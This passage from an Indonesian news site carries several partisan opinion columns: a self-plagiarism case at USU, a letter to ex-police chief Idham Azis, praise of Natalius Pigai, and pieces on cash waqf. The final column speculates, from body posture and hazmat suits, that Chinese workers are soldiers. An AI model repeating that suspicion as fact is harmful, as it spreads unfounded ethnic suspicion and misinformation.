investigasi, tingkat similaritas (kemiripan) kedua artikel ini sangat tinggi. Dapat disebut sebagai ‘self plagiarism’ (otoplagiasi). Artikel yang diterbitkan di jurnal Man in India (97/18) edisi September 2017 tidak menyebutkan artikel terdahulu sebagai sumber. Ini berarti pelanggaran etika keilmuan dan integritas moral. Aspek lain adalah hak cipta (copy right). Dalam hal ini, jurnal The Social Sciences memiliki hak cipta dimaksud. Dua artikel yang sangat mirip diterbitkan di dua jurnal yang berbeda. Hasil uji dengan aplikasi Plagiarism Checker X menunjukkan tingkat kemiripan kedua tulisan ini mencapai 88%. Penghitungan manual mendapati 146 kalimat utuh yang tertera di kedua artikel tersebut. Berdasarkan kriteria Anjungan Integritas Akademik Indonesia (Anjani), tingkat penyimpangan ini termasuk kategori berat. Otoplagiasi itu masih berlanjut. Artikel Muryanto yang berjudul “New Patronage Networks of Pemuda Pancasila in Governor Election of North Sumatera In 2013” yang terbit di International Journal of Scientific Research and Management (IJSRM, 06/01), edisi Januari 2018, dengan penulis bersama (co-authors) Sismudjito dan Ameilia Zuliyanti Siregar, sama dengan publikasi yang bersangkuatan dengan judul “A New Patronage Networks of Pemuda Pancasila in Governor Election of North Sumatera Year 2013” yang dimuat jurnal The Social Sciences (12/8) edisi Agustus 2017. Perbedaannya hanya pada daftar bibliografi (pustaka). Setelah diperiksa dengan aplikasi Plagiarism Checker X, ditemukan tingkat kemiripan kedua artikel ini sebesar 91%. Penghitungan manual menunjukkan 187 kalimat utuh yang tercantum di dalam kedua artikel tersebut. Sesuai kriteria Anjani, penyimpangan plagiasi ini masuk kategori berat. Menurut tim investigasi, tanpa menggunakan aplikasi Turnitin pun, artikel yang terbit di The Social Sciences 2017 dapat dilihat memiliki tingkat kemiripan yang tinggi dengan artikel yang dimuat IJSRM 2018. Jadi, artikel dengan judul yang mirip itu terbit di tiga jurnal, yaitu The Social Sciences (Agustus 2017), Man in India (September 2017), dan International Jurnal of Scientific Research and Management (IJSRM, Januari 2018). Pelanggaran serius etika keilmuan. Juga pelanggaran hak cipta (copy right) dua kali. Karena tak ditemukan izin dari penerbit pertama dan penerbit kedua untuk penerbitan ketiga. Menurut tim investigasi, ada temuan lain yang kelihatannya bermotif pengelabuan. Yaitu, artikel pertama dan kedua mencantumkan nama Muryanto sebagai penulis tunggal. Tetapi, artikel yang ketiga menyertakan dua nama co-author (penulis bersama) seperti disebutkan di atas. Diduga, pencantuman kedua nama co-author itu bertujuan agar artikel terlihat berbeda. Inilah temuan tim investigasi yang dibentuk Rektor USU untuk kasus otoplagiasi Muryanto Amin. Semua temuan ini sekarang dinegasikan oleh Kemendikbud c.q. Plt Sekjen Ainun Na’im. Muryanto Amin sendiri menyampaikan pembelaan yang lumayan panjang. Intinya, dia mengatakan penerbitan dua artikel yang mirip di dua jurnal (The Social Sciences dan IJSRM) terjadi karena kelalaian editor di kedua jurnal tsb. Dia telah mencoba untuk menarik kedua tulisan itu, tetapi tak berhasil. Muryanto menambahkan kedua artikel yang diterbitkan The Social Sciences dan IJSRM tidak pernah digunakannya untuk keperluan apa pun. Muryanto membantah melakukan otoplagiasi. Argumentasi yang ia pegang adalah istilah ‘otoplagiasi’ (self-plagiarism) yang tidak dikenal di dunia akademis.[] Penulis adalah Wartawan Senior FNN.co.id.

Pak Jendral Idham Azis, Mau Ditulis Sejarah Sebagai Apa?

by Dr. Margarito Kamis SH. M.Hum Ternate FNN – Assalamualaikum Pak Jendral Polisi Polisi Drs. Idham Aziz Msi. Apa kabar? Hampir pasti hari-hari ini menjadi hari yang dilalui Pak Idham sebagai hari yang menyenangkan. Pak jendral tidak lagi harus menggunakan setiap menit untuk berbagai urusan, baik Kepolisian maupun negara. Oh ya, ketika hari perpisahan Pak Idham dengan jabatan, tiba tepat tanggal 27 Januari 2021, sontak saja ucapan bismillahirrahmanirrahim dan hasbunallah wani’mal wakil, ni’mal maula wani’man nasir, yang pernah Pak Idham ucapkan kala fit and proper test tanggal 30 Oktober 2019, begitu saja menyapa benak ini. Itu karena ucapan ini sangat bekelas dan mengagumkan. Ucapan ini mengingatkan saya pada Salahuddin Al-Ayubi, panglima perang Islam, yang dikagumi Richard si raja gurun dari Inggris, yang menjadi lawannya. Salahuddin, pria hebat yang sangat bergantung pada Al-qur’an al-Karim, memperlakukan Richard dengan penuh hormat, kala si Raja gurun menderita sakit. Ucapan-ucapan Pak Idham bergelayut di alam pikir ini. Karena merangsang lahirnya sebuah pertanyaan, apakah Pak Idham juga mengucapkan alhamdulillah pada hari perpisahan dengan pangkat dan jabatan yang begitu hebat? Saya jelas tak dapat menemukan jawabannya. Yang pasti Pak Idham telah berpisah dengan jabatan dan pangkat yang sangat spesial itu. Kala awal mulai eksis, akhir dengan kodratnya menanti di ujungnya. Itu karena semua hal yang memiliki awal, pasti memiliki akhir. Tidak ada akhir kalau tidak ada awal. Ya pasangan abadi awal adalah tidak pernah lain selain ada akhir. Begitulah alam menyajikan hikmahnya. Tidak ada kepulangan, kalau tidak ada kedatangan. Tidak ada kematian, kalau tidak ada kehidupan. Tidak mati, kalau tidak pernah hidup. Tidak hidup kalau tidak punya roh. Setiap yang memiliki roh, akan menemui kematian. Hanya batu yang tak mati. Jangan pernah menghina orang, siapapun dia, kalau anda tidak ingin dihina kelak. Jangan juga susahkan orang, kalau tidak cukup kuat menahan gempuran kesusahan untukmu. Kalau ingin dikenang sebagai orang baik, maka berbuat baiklah selalu disepanjang relung-relung nafas yang ada. Begitu sabda alam bicara kepada mahluk yang berakal. Ustad Das’at, suatu hari memberi pesan kecil dan berbobot kepada Pak Kapolri Idham Azis. Pesan itu, kalau tak salah terlontar dari mulut ustad, usai ceramah Rapimnas Kepolisian, di Kampus Perguruan Tinggi Ilmu Kepolisian (PTIK). Kalau tak salah, pesan terlontar setelah Pak Idham, kala itu masih Jendral aktif dan memegang jabatan Kapolri meminta ustad memberi Pesan. Jangan pukul kepala orang, kata ustad Da’ad kala itu. Menurut ustad ini, di kepala itu tersimpang memori huruf demi huruf al’qur’an dan hadist, yang dihafal si empunya kepala. Kalau kepalanya di pukul, ustad Das’ad khawatir hafalan al’qurannya melayang entah kemana. Padahal di alam kecil itulah, panduan agung setiap orang mengenal diri, menimbang napas, mengenal Penciptanya tersimpan. Masuk akal. Top ustad Das’ad. Pesan itu akan ditemukan sebagai sejarah. Apakah pesan itu diikuti oleh Pak Kapolri, Pak jendral Idham Aziz atau tidak? Percayalah pesan itu telah tertulis rapi dalam sejarah. Entah di daerah, di Jakarta hampir tak terdengar. Apalagi tercatat rapi dalam administrasi hukum di Kepolisian peristiwa Polisi memukul kepala orang. Di Jakarta, sekali lagi tidak ada. Entah di daerah-daerah. Pertanyaannya, apakah tidak ada mahasiswa yang bocor kepalanya, berdarah-darah, karena terkena benda tumpul yang salah digunakan oleh anggota Polisi? Tidak ada mahasiswa, bahkan buruh yang bocor kepalanya disaat demonstrasi, karena terhantam benda tumpul yang dimiliki Polisi? Dunia tahu, rumput pun tahu, pada tangal 7 Desember 2020 lalu ada anak bangsa ini yang mati ditembak oleh polisi di dada lebih dari satu tembakan. Kadafi, yang Babang Dula Hehamuhua pernah datangi kediamannya mengikuti tahlilan adalah salah satunya. Teman-temannya juga mati tertebak. Juga di dada juga, bukan di kepala. Kepala sih aman. Mereka yang tertembak adalah para pengawal Habib Rizieq Sihab, dalam perjalanannya dari Sentul ke suatu tempat di Karawang. “Mereka dibuntuti, lalu terjadi kejar-kejaran dan berakhir dengan baku- tembak”, kata Kapolda Metro Jaya Irjen Polisi Fadil Imran. Baku-tembak ini atau tertembak di kilometer 49, dan mayatnya diturunkan di kilometer 50 tol Jakarta-Cikampek (Japek), itu ada dua orang. Sisanya empat orang lain ditembak Petugas Polisi di dalam mobil, empat orang itu diangkut untuk dibawa ke Polda Metro Jaya. Di dalam mobil inilah orang-orang itu ditembak. Katanya mereka berusaha merebut senjata, sehingga mereka ditembak. Jelas penjelasan yang tak masuk akal. Tetapi lebih tak masuk akal lagi, setelah itu polisi di bawah kepemimpinan Pak Idham menyelidiki kasus ini. Parahnya lagi, penyidik terlihat menyidik kasus itu menurut versi Irjen Pol. Fadhil Imran, Kapolda Metro Jaya. Skema itu terlihat nyata pada rekonstruksi kasus ini. Untungnya Komisi Nasional Hak Asasi manusia (Komnas HAM), yang melakuka penyelidikan dengan segala kelemahannya, menyajikan fakta yang sebagian besar sudutnya berbeda dengan data polisi. Bila tidak ada data dari Komnas Ham, kiamatlah dunia hukum negeri ini sesuai kerja polisi yang dipimpin Pak Idham Azis. Orang-orang itu mati karena melawan petugas. Polisi benar total, dan FPI jadi salah total. Entah dibawah kendali atau tidak, yang pasti Bareskrim dalam kepemimpinan Pak Idham Azis ini juga yang menangkap Jumhur Hidayat, Sahganda Nainggolan dan Anton Permana dan kawan-kawan aktivis. Drama penangkapan Jumhur hidayat, terus terang, memukul nurani rule of law dalam semua aspeknya. Terlihat Pak Idham Azis seperti miskin dalam pemahaman terhadap hukum dan HAM. Apakah penangkapan itu sepenuhnya diarahkan oleh Kabareskrim, Komjen Listyo Sigit, yang sekarang ini telah menjadi Kapolri? Tak ada yang tahu pasti. Apakah Pak Idham kala itu tidak memberi arahan kepada Kabareskrimnya? Juga wallau a’alam bishawab. Ruh-ruh mereka, entah bagaimana prosesnya, mungkin kelak di padang Mahsyar akan bercerita di hadapan penciptanya tentang, peluru yang membuat mereka melayang. Ruh-ruh itu, mungkin bilang bahwa “kami terlepas dari jasasd kala itu oleh peluru dari petugas polisi”. Ruh-ruh itu mungkin juga akan berkata kala itu, pimpinan tertinggi Kepolisian saat itu adalah Pak Jendral Idham Aziz. Dibawah beliau ada Kabareskrim, dan Irjen Pol. Fadhil Imran, Kapolda Metro Jaya. Polisi-polisi dibawah kendali mereka itulah yang melepaskan tembakan, dan pelurunya mengenai dada jasad kami, sehingga mengakibatkan kami kembali kepada-Mu ya Rabbii. Apapun itu Pak Idham adalah Kapolri kala itu. Suka atau tidak, itulah yang dicatat sejarah. Sejarah juga akan menyuguhkan kenyataan lain, yang untuk alasan apapun, tidak enak. Kenyataan lain itu adalah Maklumat Kapolri kepada jajarannya dalam menangani konten berita yang terkait Front Pembela Islam (FPI), yang telah dilarang pemerintah untuk berkegiatan. Maklumat yang tidak enak ditulis lagi itu, entah dibayangkan atau tidak oleh Pak Idham, terlihat oleh dunia pers bagai halilintar. Paling tidak maklumat, yang terlihat amburadul itu, bagai hantu di siang bolong memasuki dan mengacak-acak, bukan saja meja redaksi, tetapi ruh pers semua. Ketua Dewan Pers, Profesor M. Nuh, dan jajarannya, serta tidak sedikit komunitas pers bereaksi sangat keras. Maklumat Pak Idham itu disambut kalangan pers sebagai instrument baru pengekangan kebebasan pers. Lebih dahsyat dari rezim otoriter. Itu sebabnya maklumat ini serta membangunkan kalangan pers untuk bereaksi. Mereka menyambutnya dengan kritik bernada olok-olok, yang has, dan penuh gairah. Akhirnya semua itu membekas, tertulis disepanjang panggung kehidupan berbangsa dan bernegara sebagai sejarah. Tidak enak memang, tetapi harus diterima. Sejarah memang bisa dikendalikan, dan diarahkan. Tetapi seperti biasanya, itu hanya bisa untuk waktu tertentu. Tidak bisa untuk setiap waktu. Bagaimana Pak Idham mengenang semuanya? Entahlah. Apakah Pak Idham mau dikenang sebagai Kapolri yang sukses? Entahlah. Jelas, Pak Idham tidak dapat mengarahkan apalagi mengendalikan sejarahnya yang telah tertulis. Apakah Pak Idham akan bilang Alhamdulillah, saya telah berhasil mengawal, dan mengemudikan Kepolisian demi bangsa dan negara ini atau hanya demi Presiden Jokowi? Entahlah. Hanya Pak Idham yang tahu itu. Apapun itu, hari-hari sesudah melepas pangkat dan jabatannya, mungkin menjadi hari yang indah buat Pak Idham. Hari yang indah dihiasi bacaan al’quran siang dan malam, dzikir pada setiap detik nafas berdetak, kiamullail di sepertiga malam, dan hal baik lainnya. Insya Allah. Melepas jabatan dan pangkat hanyalah akhir untuk urusan dunia. Akhir yang abadi itu pasti akan datang juga, entah kapan. Itu rahasia Allah subhanahu wata’ala. Semua yang tak terlihat, akan terlihat pada waktunya. Semua yang tak mampu bicara hari ini, akan bicara pada waktunya. Kelak di pengadilan itu, semua bicara apa adanya. Mulut terkunci, tangan bicara, kaki bicara, semua bicara memberi kesaksian. Tak ada kepalsuan sekecil atom sekalipun. Semuanya otentik. Begitu sabda alam memandu ummat manusia. Pak Idham, selamat menikmati hari-hari indah. Wassalamualaikum Warahmatullahi Wabarakatuh. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Pigai, Aktivis ‘98 Hebat, Top Markotop dan Mengagumkan

by M. Rizal Fadillah Bandung FNN - Akhirnya Ambroncius Nababan ditetapkan sebagai Tersangka oleh Badan Reserse Kriminal (Bareskrim) Polri dalam kasus penghinaan kepada Natalius Pigai. Ambroncius sendiri sudah meminta maaf kepada Pigai. Penetapan status tersangka ini mengejutkan di tengah hukum yang biasa berpihak hanya kepada pendung penguasa. Natalius Pigai adalah tokoh kemanusiaan dan mantan Komisioner Komisi Nasional Hak Asasi Manusia (Komnas HAM). Tokoh Papua ini juga yang dikenal sangat kritis kepada pemerintah sejak pertengahan priode pertama Jokowi menjabat sebagai Presiden. Dalam membela masalah-masalah yang terkait dengan kejahatan kemanusiaan, Pigai tidak perduli pada latar belakang agama dan status sosial. Siapun pejabat negara yang berprilaku melanggar HAM dan hukum, dipastikan akan dilawan oleh Pigai yang aktivis 98 di Yogyakarta ini. Bahkan pernah tampail paling depan sebagai Ketua Tim Pembela ulama dan Habib Rizieq Shihab (HRS) ketika dikriminalisasi dulu, sebelum akhirnya hijrah ke Mekah Arab Saudi selama dua setengah tahun. Hebat, top markotop dan mengagungkan Pigai. Biasanya laporan kepada "lawan penguasa" dari tokoh kritis diabaikan oleh Kepolisian. Bahkan sangat sering laporannnya ditolak. Apalagi Ambroncius Nababan ini adalah Ketua Umum Relawan Pro Jokowi-Amin (Projomin) yang tentu masuk dalam klaster "kebal hukum". Namun kali ini Kepolisian bersikap lain. Tampaknya mau menegakan hukum kepada siapa saja. Mudah-mudahan semoga. Akun Facebook yang memuat foto Pigai dengan Gorilla konon sudah banyak beredar. Ambroncius Nababan hanya ikut-ikutan membuat narasi tentang Pigai dan Gorilla. Ditambah alasan pembelaan kepada Pemerintah atas penolakan Pigai terhadap vaksin Sinovac. Namun masalah ini menjadi serius, karena berkaitan dengan penghinaan kepada Suku, Agama, Ras dan Antargolongan (SARA). Persoalan Pigai dan Gorilla ini juga sangat tidak etis dan pantas. Sebab sudah menyentuh persoalan kemanusiaan yang disamakan dengan binatang. Hanya orang yang tidak berprikemanusiaan yang menyamakan manusia dengan binatang. Dengan demikian, orang tersebut tidak Pancasilais, sehingga tidak pantas hidup di negara dengan Falsafah Pancasila. Sikap Bareskrim Polri yang menetapkan Ambroncius Nababan sebagai tersangka, dan langsung ditahan menimbulkan tanda tanya. Apakah ini murni hukum menerobos budaya diskriminatif atau memang ada ketakutan politik soal rasisme yang dihubungkan dengan Papua? Takut juangan sampai peristiwa yang pernah terjadi Surabaya beberapa tahun lalu, yang mengakibatkan protes keras dan masif dari masyarakat Papua terulang kembali? Pigai selalu berteriak keras semasa Pemerintahan Jokowi terkait masalah-masalah yang berkaitan erat dengan pembunuhan, pembantaian, dan pelanggaran HAM di Papua. Pigai juga melawan mengkritik keras setiap prilaku yang berkaitan dengan rasisme kepada siapapun. Mabes Polri mewanti-wanti agar warga Papua tidak melakukan tindak pidana akibat isu rasisme ini. Dugaan nyali ciut atas Papua ini pantas muncul. Karena rasisme adalah isu yang tergolong sensitif. Isu yang dapat saja menggumpal hingga berskala Internasional. Gerakan separatisme juga semakin menguat sampai ada deklarasi Negara Papua Barat oleh Benny Wenda. Disamping itu Papua terus menjadi "mainan" kepentingan negara tertentu seperti Australia dan Amerika. Natalius Pigai memang hebat, top markotop dan mengagumkan. Sekarang akibat kasusnya, justru mendapat simpati warga Papua. Pigai bukan tokoh separatis. Namun Pigai tokoh yang sangat ansionalis. Rasa nasionalismenya yang tinggi membuat dirinya menjadi tokoh yang disegani. Sering berkorban untuk kepentingan orang lain. Pigai juga pelaku sejarah dan aktivis ‘98 tulen dari Yogyakarta. Mantan Kepala Badan Intelijen Negara (BIN) Jendral TNI (Purn.) Kehormatan (Hor.) Hendropriyono pun dibuat gelisah oleh sentilannya soal ancaman kepada eks Front Pembela Islam (FPI). Pembelaan Pigai kepada umat Islam mendapat apresiasi sangat tinggi. Pigai konsisten dengan pembelaan HAM dan keadilan tanpa mau melihat siapa dan apa latar belakang orang yang dibela tersebut. Soal pembantaian enam anggota Laskar FPI di kilometer 50 tol Jakarta-Cikampek (Japek) Pigai dengan tegas dan jelas mengatakan sebagai “pelanggaran HAM berat”. Menurut Pigai, sangat mudah untuk membuktikan terjadinya “pelanggaran HAM berat” oleh aparat kepolisian. Namun snagat disayangkan, karena hasil penyelidiakan Komnas HAM tidak berani menyimpulkan terjadi “pelanggaran HAM berat”. Cuitan Twitter akun pribadi Pigai menohok PDIP dan Jokowi. Ketika menyatakan dari 34 menteri anggota kabinet Pemerintahan Jokowi, tidak satupun yang berasal dari putra Papua. Pigai juga menyatakan di "Jaman Jokowi dan PDIP yang memproduksi rasisme secara masif". Sikap dan pernyataan kritis dari Pigai ini sering membuat kuping penguasa panas. Salah satunya dampaknya adalah Ambroncius Nababan ditetapkan sebagai tersangka. Kini Ketum Jokowi-Amin telah ditetapkan sebagai tersangka dan ditahan di Mabes Polri. Proses lanjutan akan terus dipantau. Apakah Ambroncius Nababan benar-benar obyektif diadili atau proses hanya berfungsi sebagai peredam saja? Publik tentu saja akan mengikuti penangan masalah ini dengan serius. Apakah akan berunjung di pengadilan? Kita tunggu. Apapun itu, Natalius Pigai telah sukses membuat ciut nyali para pendukung Jokowi dalam membela perjalanan pemerintah Jokowi akibat berbagai masalah sosial ekonomi. Apalagi kegagalan pemerintahan Jokowi kini menumpuk di bidang kesehatan, terutama pengedalian pandemi covid-19 yang nyata-nyata gagal. Angka rakyat yang positif covid -19 menembus satu juta orang. Kenyataan ini semakin diperparah dengan resesi ekonomi yang terjun bebas dengan roket ke bawah, dengan minus. Bank Indonesia yang semula ada rencana mencetak uang Rp. 300 trilun kemungkinan batal, karena terlanjur dibocorkan oleh FNN.co.id. Bank Indonesia kemudian membatah rencana mencetak uang Rp. 300 triliun itu. Natalius Pigai memang tokoh muda bangsa dan aktivis ’98 yang fenomenal. Tetap konsisten, dan tampil apa adanya sebagai aktivis dan anak Papua. Tidak ada yang dibuat-buat dan direkayasa. Namun seorang Pigai berhasil memporak-porandakan pertahanan lawan dari jendral sampai relawan. Harap tetap menjadi kesahatan bung Pigai. Semoga Tuhan Yang Maha Kuasa melindungi bung Pigai dan keluarga untuk selalu mengawal dan menjaga tegaknya penghormatan kepada kemanusiaan manusia dan keadilan di Indonesia. Bung Pigai adalah “mutiara hitam dari upuk timur Indonesia”. Mutiara kalau dilempar ke lumpur, lalu diangkat lagi, tetap saja mutiara. Mutiara yang tidak pernah berubah warna, bentuk dan makna. Penulis adalah Pemerhati Politik dan Kebangsaan.

Wakaf, Katolik, dan Koperasi

by Farid Gaban Wonosobo, FNN - Ketimbang menyerahkan dana wakaf kepada pemerintah, umat Islam perlu belajar kepada jemaah Katolik dalam mengelola dananya sendiri. Dua tahun lalu, saya berkunjung ke Koperasi Keling Kumang di Sintang, Kalimantan Barat. Ini salah satu koperasi terbesar di Indonesia. Bermula dari credit-union, yaitu kerjasama simpan pinjam antar-jemaah yang dimotori oleh Gereja Katolik, Keling Kumang tumbuh menjadi usaha bisnis yang besar. Keling Kumang kini beranggotakan 170.000 petani dan punya aset senilai Rp 1,4 trilyun. Mereka memiliki sistem perbankan sendiri, beberapa toko swalayan, hotel, sekolah SMK (dengan 1.000 lebih murid) dan bahkan bulan lalu meresmikan universitas -- Institut Teknologi Keling Kumang. Belum lama lalu, Keling Kumang juga membeli 100 hektar hutan primer untuk dilestarikan dan dijadikan obyek eko-wisata. Mereka tidak lagi cuma mencari uang, tapi bahkan sudah lebih jauh: menyelamatkan hutan tropis Kalimantan dari agresi investasi sawit. Mereka melakukan diversifikasi ke pertanian non-sawit: kakao, kopi, dan teh. Ketika bisnis membesar, Keling Kumang juga bisa menarik sumber-sumber daya manusia muda dengan pendidikan bagus, termasuk alumni universitas luar negeri. Keling Kumang sendiri dirintis antara lain oleh Munaldus Nerang (Liu Ban Fo), yang memperoleh gelar sarjana dari ITB dan pasca-sarjana dari sebuah universitas di Amerika. Kinerja bisnis anak-anak usaha Keling Kumang belum semuanya bagus, dan masih terbuka untuk disempurnakan. Tapi, komunitas Suku Dayak di pedalaman Kalimantan ini membuka mata saya bahwa rakyat kebanyakan (petani) ternyata bisa mengembangkan kapasitas serta meningkatkan kesejahteraan ekonomi-sosial dengan sumber daya sendiri, tanpa bantuan pemerintah, tanpa donor asing, tanpa investasi dari luar. Keling Kumang adalah salah satu contoh koperasi bagus yang tidak cuma menghasilkan laba ekonomi tapi juga punya maslahat sosial serta kelestarian alam. Keling Kumang adalah salah satu pengecualian dalam dunia perkoperasian di Indonesia: negeri dengan 200.000 koperasi, tapi sebagaian besar merupakan koperasi abal-abal karena dibangun dari atas. Salah satu kunci sukses Keling Kumang adalah membangun koperasi dari bawah, bertumpu pada fondasi modal sosial para jemaah gereja di pedesaan. Model ekonomi komunitas seperti itulah yang layak dipelajari oleh umat Islam, agar bisa memanfaatkan dananya, termasuk dana wakaf, benar-benar untuk kemaslahatan umat, khususnya di pedesaan. Masjid-masjid desa semestinya menjadi pusat komunitas (community center). Masjid tak cuma tempat shalat tapi juga tempat petani dan nelayan membicarakan masalah sosial dan ekonomi secara berjamaah (bersama-sama), termasuk bagaimana memanfaatkan dana wakaf secara berdaya-guna. Organisasi seperti NU, Muhammadiyah, Laziz atau Dompet Dhuafa perlu memperkuat peran manajerial nazhir (pengelola dana wakaf), tapi bukan dalam bentuk seperti yang diinginkan pemerintah. Melalui Gerakan Nasional Wakaf Uang yang tempo hari diluncurkan Presiden Jokowi, pemerintah cenderung akan mengiming-imingi para nazhir "capital gain" dari dana wakaf yang diputar di bursa saham dan obligasi. Itu akan menghisap dana dari bawah ke pusat-pusat kapital. Ketimbang mengabdikan dana wakaf untuk kepentingan pemerintah maupun usaha besar, para nazhir harus diperkuat untuk bisa menginvestasikan sebagian dananya ke ekonomi lokal pedesaan, khususnya di sektor pertanian, perikanan dan kehutanan rakyat. Seperti konsep Koperasi Keling Kumang yang diilhami oleh Gereja Katolik.*** Penulis adalah Wartawan Senior.

Surat Terbuka kepada Menkeu: Wakaf dan Dampak Negatif Bagi Ekonomi

by Anthony Budiawan Jakarta, FNN - Menteri Keuangan yang Terhormat. Akhir-akhir ini rakyat dibuat bingung lagi dengan manuver kebijakan pemerintah dalam pengelolaan keuangan negara terkait peluncuran Gerakan Nasional Wakaf Uang. Surat ini tidak membahas apa arti wakaf secara umum dan wakaf uang secara khusus. Surat ini mencoba membahas wakaf uang dalam konteks ekonomi makro, kebijakan publik dan fiskal atau keuangan negara. Sedangkan untuk pengertian wakaf uang yang sempat mengundang kontroversi, apakah sah atau tidak, biarlah diserahkan kepada pendapat para ahli di bidangnya masing-masing. Pertama, mengenai fiskal dan Keuangan Negara. Dalam undang-undang No 17 tahun 2003 tentang Keuangan Negara dijelaskan bahwa pemungutan pendapatan negara harus terlebih dahulu ditetapkan dengan undang-undang (pasal 8 huruf e). UU juga menjelaskan, pendapatan negara hanya terdiri dari tiga jenis, yaitu penerimaan pajak, penerimaan bukan pajak dan hibah (pasal 11 ayat (3)). Sedangkan hibah hanya boleh dilakukan, pertama, antara pemerintah pusat dengan pemerintah daerah setelah mendapat persetujuan Dewan Perwakilan Rakyat (DPR), seperti dijelaskan pasal 22 ayat(2) dan ayat (3). Kedua, antara pemerintah pusat dengan pemerintah/lembaga asing dengan persetujuan DPR, sesuai pasal 23 ayat (1). Dan ketiga, antara pemerintah dengan perusahaan negara/daerah setelah terlebih dahulu ditetapkan dalam APBN/APBD, sesuai pasal 24 ayat (1) dan ayat (2). Menteri Keuangan Yang Terhormat, rakyat bertanya-tanya apakah wakaf uang yang dimaksud dalam Gerakan Nasional Wakaf Uang termasuk salah satu dari tiga jenis pendapatan negara tersebut di atas: pajak, bukan pajak atau hibah? Kemudian, apakah jenis pungutan wakaf uang yang dimaksud sudah ditetapkan oleh undang-undang seperti di maksud pasal 8 huruf e dalam UU No 17/2003 tentang Keuangan Negara? Kami perkirakan wakaf uang tidak termasuk pungutan pajak dan bukan-pajak. Semoga, Menteri Keuangan yang Terhormat sepakat dengan ini. Alasannya, pungutan pajak dan bukan-pajak dasar hukumnya adalah wajib, bukan suka rela. Sedangkan, kalau tidak salah, wakaf uang adalah tidak wajib, tetapi hanya sebatas imbauan. Mohon koreksinya. Kalau begitu, apakah wakaf uang adalah hibah? Sepertinya wakaf uang juga bukan hibah. Karena negara tidak boleh menerima hibah dari rakyat, seperti dijelaskan di atas. Mohon konfirmasinya. Kalau wakaf uang tidak termasuk bagian dari pendapatan negara, maka pemerintah secara luas, termasuk pemerintah pusat, pemerintah daerah, kementerian dan lembaga, tidak boleh memungut wakaf uang. Bukankah begitu? Di salah satu media nasional diberitakan bahwa Kementerian Agama sudah menghimpun wakaf uang hingga Rp4,13 miliar per 21 Januari 2021: https://www.republika.co.id/berita/qnjqn1457/gerakan-wakaf-uang-kemenag-himpun-rp-413-miliar Untuk itu, kami mengimbau kepada Menteri Agama agar hati-hati dalam melakukan pungutan wakaf uang atas nama kementerian karena bisa melanggar hukum dan undang-undang tentang Keuangan Negara. Menteri Agama sebaiknya menunggu klarifikasi dari Menteri Keuangan atas Surat Terbuka ini. Oh maaf, mungkin pemerintah memang tidak rencana memasukkan wakaf uang sebagai bagian dari pendapatan negara. Kalau begitu, apa gunanya wakaf uang bagi negara? Apa gunanya Gerakan Nasional Wakaf Uang? Mohon pencerahannya. Oh ya, pemerintah pernah mengatakan wakaf uang berguna untuk membiayai proyek infrastruktur. Apakah ini berarti dalam bentuk pinjaman syariah? Kalau dugaan kami benar, bukankah selama ini Kementerian Keuangan senantiasa menerbitkan Surat Berharga Syariah Negara (SBSN), atau disebut juga Sukuk Negara, untuk membiayai berbagai kebutuhan Belanja Negara? Mohon penjelasan lebih rinci apa bedanya SBSN dengan pembiayaan wakaf uang ini? Kalau wakaf uang yang dimaksud benar dalam bentuk pinjaman syariah, menurut hemat kami, pertama, wakaf uang ini tidak ada dampak positif bagi pertumbuhan ekonomi. Karena, sumber pembiayaan, apakah dari Sukuk Negara atau Wakaf Uang, tidak relevan bagi pertumbuhan ekonomi. Yang relevan adalah nilai belanja. Sedangkan, nilai belanja, defisit dan jumlah utang negara sudah dianggarkan, dan besarnya tidak tergantung dari pembiayaan. Kedua, kami asumsikan bahwa dana wakaf uang yang sedang ditarget ini sudah ada di dalam sistem perbankan dalam bentuk tabungan, atau dana pihak ketiga. Artinya, bukan dari uang yang disimpan di bawah bantal. Kalau ini benar, pemindahan buku dari tabungan ke rekening wakaf uang tidak pengaruh terhadap pertumbuhan ekonomi. Karena, uang di tabungan akan berkurang sebesar uang yang dipindahbukukan ke rekening wakaf uang. Artinya, secara makro tidak ada penambahan uang: hanya pindah dari kantong kiri ke kantong kanan. Ketiga, imbauan wakaf uang ini malah bisa berdampak negatif terhadap pertumbuhan ekonomi karena uang di sektor perbankan tersedot ke rekening wakaf uang, sehingga terjadi crowding out effect yang berakibat pada berkurangnya likuiditas untuk sektor swasta, membuat suku bunga naik, dan kredit turun. Terakhir, menurut rumor nilai wakaf uang Indonesia bisa mencapai Rp2.000 triliun. Semoga pemerintah belum mendengar rumor ini. Oh maaf, ternyata informasi ini katanya dari pemerintah. Untuk itu, mohon nilai ini dikonfirmasi ulang karena sepertinya hampir tidak mungkin. Alasannya, nilai seluruh uang masyarakat di sektor perbankan, sebagai dana pihak ketiga, hanya Rp6.665 triliun saja. Sedangkan uang beredar dalam arti luas (M2), termasuk cash, hanya Rp6.800 triliun. Oleh karena itu, sulit dipercaya nilai wakaf uang bisa mencapai Rp2.000 triliun. Semoga pemerintah tidak tergoda dengan isu yang tidak benar. Menteri Keuangan yang Terhormat, sebelumnya kami ucapkan terima kasih atas jawaban yang diberikan. Kami doakan semoga ekonomi Indonesia dapat pulih secepatnya, dengan pertumbuhan 5 persen, sesuai target dalam APBN 2021. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS).

Tentara Cina Berdatangan ke Indonesia?

by M. Rizal Fadillah Bandung FNN - Setelah sebelumnya banyak kecurigaan bahwa Tenaga Kerja Asing (TKA) asal Cina yang masuk ke Indonesia itu bukan semata-mata sebagai pekerja, tetapi juga tentara. Karena terlihat dari postur tubuh yang tegap. Kini kedatangan 153 orang melalui bandara Soekarno Hatta di masa pandemi juga sangat patut untuk dicurigai. Diantara 153 orang Cina yang masuk melalui bandara Soekarno-Hatta dengan alasan sebagai pekerja tersebut, 3 orang memegang visa diplomatik. Sisanya sebanyak 150 lainnya memiliki Kartu Izin Tinggal Terbatas (KITAS) dan Kartu Izin Tinggal Tetap (KITAP). Entah mereka adalah rombongan yang ke berapa ratusan atau mungkin juga ribuan. Kedatangan warga Cina dengan alasan pekerja ini sungguh mengejutkan dan mencurigakan. Apalagi 153 pendatang tersebut menggunakan pakaian hazmat. Mengenakan Alat Perlengkapan Diri (APD) yang lengkap, sehingga sulit untuk bisa dilihat siapa mereka. Sangat mungkin tentara pula. Mengapa begitu seleluasa WNA Cina dapat masuk ke Indonesia dengan alasan sebagai pekerja? Ada apa dengan Direktorat Jendral (Ditjen) Imigrasi dan Pemerintah Indonesia sekarang ini? Demi kewaspadaan nasional dan keamanan negara, hal ini harus diusut dan diklarifikasi. Jangan sampai bangsa ini kelak dikejutkan dengan 